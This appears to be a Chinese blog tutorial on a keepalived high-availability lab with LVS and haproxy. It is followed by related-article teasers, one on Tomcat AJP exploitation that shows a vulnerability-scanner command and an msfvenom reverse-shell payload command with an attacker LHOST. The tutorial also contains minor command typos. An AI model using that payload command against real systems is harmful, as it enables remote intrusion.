keepalived高可用集群

devtools/2024/11/14 13:08:21/

一、keepalived简介

        keepalived是一个类似于layer3, 4 & 5交换机制的软件,也就是我们平时说的第3层、第4层和第5层交换。Keepalived是自动完成,不需人工干涉。

1.1 功能

基于vrrp协议完成地址流动

为vip地址所在的节点生成ipvs规则(在配置文件中预先定义)

为ipvs集群的各RS做健康状态检测

基于脚本调用接口完成脚本中定义的功能,进而影响集群事务,以此支持nginx、haproxy等服务

1.2 架构

用户空间核心组件:

        vrrp stack:VIP消息通告

        checkers:监测real server

        system call:实现 vrrp 协议状态转换时调用脚本的功能

        SMTP:邮件组件

        IPVS wrapper:生成IPVS规则

        Netlink Reflector:网络接口

        WatchDog:监控进程

控制组件:提供keepalived.conf 的解析器,完成Keepalived配置

IO复用器:针对网络目的而优化的自己的线程抽象

内存管理组件:为某些通用的内存管理功能(例如分配,重新分配,发布等)提供访问权限

二、实验环境

2.1 前提条件

各节点时间必须同步:ntp, chrony

关闭防火墙及SELinux

各节点之间可通过主机名互相通信:非必须

建议使用/etc/hosts文件实现:非必须

各节点之间的root用户可以基于密钥认证的ssh服务完成互相通信:非必须

2.2 实验设备

设备名IPVIP用途
ka1172.25.254.10172.25.254.100

ka1

ka2172.25.254.20172.25.254.100ka2
rs1172.25.254.110172.25.254.100realserver
rs2172.25.254.120172.25.254.100realserver
cilent172.25.254.66测试

2.3 实验准备

2.3.1 网络设置

2.3.2 关闭防火墙及SELinnux

systemctl disabled --now firewalld
vim /etc/selinux/config

2.3.3 下载安装包

#realserver上安装apache
yum install httpd -y
#修改访问页面
echo server1 -172.25.254.110 > /etc/www/html/index.html
echo server2 -172.25.254.120 > /etc/www/html/index.html
#测试httpd服务是否正常
curl 172.25.124.110
curl 172.25.124.120#ka上安装keepalived
yum install keepalived -y
vim /etc/keepalived/keepalived.conf    #修改配置文件
systemctl enable --now keepalived.service

2.3.4 实验

2.3.4.1 虚拟路由间的通讯

2.3.4.2 独立日志

vim /etc/sysconfig/keepalived

vim /etc/rsyslog.conf
systemctl restart keepalived.service
systemctl restart rsyslog.service

2.3.4.3 独立子配置文件
mkdir -p /etc/keepalived/conf.d
vim /etc/keepalived/keepalived.conf #将虚拟路由复制并注释,写明路径
vim /etc/keepalived/conf.d/172.25.254.100.conf    #粘贴之前复制的内容

    

2.3.4.4 非抢占模式和抢占延迟

2.3.4.5 单播模式设定

2.3.4.6 邮件通知设置

首先打开QQ邮件 ->点击账号与安全 ->点击安全设置 ->生成授权码

vim /etc/keepalived/mail.sh
vim /etc/mail.rc
echo hello | mail -s test XXXXXXXXXXXX@qq.com    #测试是否能收到邮件

2.3.4.7 双主模式

2.3.4.8 keepalived+lvs
#ka上配置
yum install ipvsadm -y
vim /etc/keepalived/keepalived.conf
systemctl restart keepalived.service
systemctl start ipvsadm.service
ipvsadm -A -t 172.25.254.100:80 -s wrr
ipvsadm -a -t 172.25.254.100:80 -r 172.25.254.110:80 -g -w 2
ipvsadm -a -t 172.25.254.100:80 -r 172.25.254.120:80 -g -w 1
systemctl stop ipvsadm.service

rs上配置

ip a a 172.25.254.100/32 dev lo    #临时配置,重启后需重新配置

2.3.4.9 keepalived+haproxy+脚本执行

注意:此实验与上一个实验是独立的,ipvsadm和haproxy不能同时启动,之前keepalived配置文件中做的配置需要删除或注释

ka上配置
yum install haproxy -y
systemctl restart haproxy
vim /etc/keepalived/test.sh
chmod +x /etc/keepalived/test.sh
vim /etc/keepalived/keepalived.conf
systemctl restart keepalived.service


http://www.ppmy.cn/devtools/95192.html

相关文章

如何利用宝塔给WordPress网站搬家?详细分步教程

对于使用WordPress建站的站长来说,网站搬家是一项必备技能。无论是重装系统、升级配置还是服务器迁移,掌握网站搬家的技巧可以让你在选择服务器时更加灵活。本文将详细介绍如何使用宝塔面板来搬迁WordPress网站。 1. 备份数据库 记住数据库用户名和密码…

IPv6基础

1.地址基础 1.1 IPv6地址由被划分为8个16位块的128位组成。然后将每个块转换为由冒号符号分隔的4位十六进制Q数字。 2001 : 0000: 3238 :00E1 : 0063 : 0000: 0000:FEFB 1.2每一块多个前导的0可以省略,-个块全为0可以简写为-个0,,多 个块为…

E. Cosmic Rays

链接:https://codeforces.com/contest/2002/problem/E 思路:我们使用前缀处理的方法进行简化计算,减少时间复杂度,也就是把不必要存在的对数删除,那我们需要删除哪些? 对于每次新加入的对数,如…

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…

内网dns的工作原理

内网DNS(Domain Name System)的工作原理主要涉及到域名解析的过程,即将人类可读的域名转换为计算机可识别的IP地址。这一过程在内网环境中同样重要,因为它允许内网用户通过域名来访问内网资源,而无需记住复杂的IP地址。…

利用多核架构并采用图形化方式去设计和调试音频和语音解决方案

作者:牟涛, XMOS亚太区市场和销售负责人 XMOS推出的基于其第三代xcore架构的xcore.ai系列可编程SoC芯片,在一颗器件里面集成了边缘AI、DSP、控制单元和I/O等功能,因而可以针对应用利用软件将其定义为不同的器件系统,在…

科研绘图系列:Python语言时间趋势图

介绍 不同指标在时间上的变化,可以用时间序列线图表示趋势。 加载Python包 import sys import pandas as pd import numpy as np import scipy as sp from scipy import stats import randomimport seaborn as sns import matplotlib.pyplot as plt from matplotl

疫情打卡健康评测系统

TOC springboot199疫情打卡健康评测系统 第1章 绪论 1.1 选题动因 到现在为止,互联网已经进入了千家万户,最普通的平民百姓也有属于自己的智能设备,计算机各种技术的储备也是相当的丰富,并且实现也是没有难度,各行…